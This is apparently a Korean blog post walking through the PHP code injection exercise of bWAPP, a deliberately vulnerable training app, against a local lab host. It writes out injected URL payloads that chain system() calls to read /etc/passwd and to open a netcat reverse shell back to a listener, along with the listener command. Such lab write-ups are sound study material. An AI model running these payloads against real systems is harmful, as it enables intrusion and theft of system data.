bWAPP 10. PHP Code Injection

Web hacking|2022. 2. 4. 22:33

                                           PHP Code Injection

       

웹 서비스 개발 과정 중 Server Side Langage 등을 include 하는 과정에서 생길 수 있는 취약점

이다. PHP Code Injection exec() 함수나 eval()함수를 사용한 경우 세미 콜론(;) 을 사용하여

다른 함수를 실행하는 취약점이 있다. (해당 글자 출처 https://security-story.tistory.com/26 )

 

- Low 레벨 -

PHP Code Injection 해당 레벨을 진행한다.

message 버튼을 클릭하게 되면

http://192.168.1.82/bWAPP/phpi.php?message=test 해당 링크를 참조하는 것을 확인할 수 있다.

test를 출력하고 있다.

http://192.168.1.82/bWAPP/phpi.php?message=test

url 확인 결과 message 변수에 문자열을 삽입하여 Get 방식으로 전송하는 것을 확인했다.

소스코드를 확인해보자

vi phpi.php

 

url 주소중 message 변수에 tak을 입력시 해당 문자를 출력하는 것을 확인

 

PHP에서는 exec() 함수나 eval() 함수를 사용한 경우 세미콜론(;)을 사용하여 다른 함수를 실행하는 취약점이 있다. 해당 취약점을 이용하여보자.

 

 

- Low 레벨 결과 및 입력 값 1 -

 

message 변수에 ; system 함수를 이용하여 cat etc/passwd를 실행해봤다.

http://192.168.1.82/bWAPP/phpi.php?message=joo; system(' cat /etc/passwd')

 

php code injection에 성공하였다.

 

 

 

- Low 레벨 결과 및 입력 값 2 -

 

이번에는 netcat을 사용하여 쉘을 실행시켜보자.

 

[ 공격자 ]

nc -lvp 7777

7777포트를 리슨한다.

 

[ 공격할 웹 ]

http://192.168.1.82/bWAPP/phpi.php?message=joo; system(' nc 192.168.1.82 7777 -e /bin/bash ')

 

[ 공격자 ]

netcat을 사용하여

cat /etc/passwd 및 쉘 명령어를 사용할 수 있게 성공하였다

 

( ls -al )

 

 

- Medium 레벨과 High 레벨  -

 

htmlspecialchars를 사용하여 대응을 하고있다.

 php code injection을 방어하기위해서는 해당 함수를 사용해야한다.

대응이 잘되고있다.

 

                                     

댓글()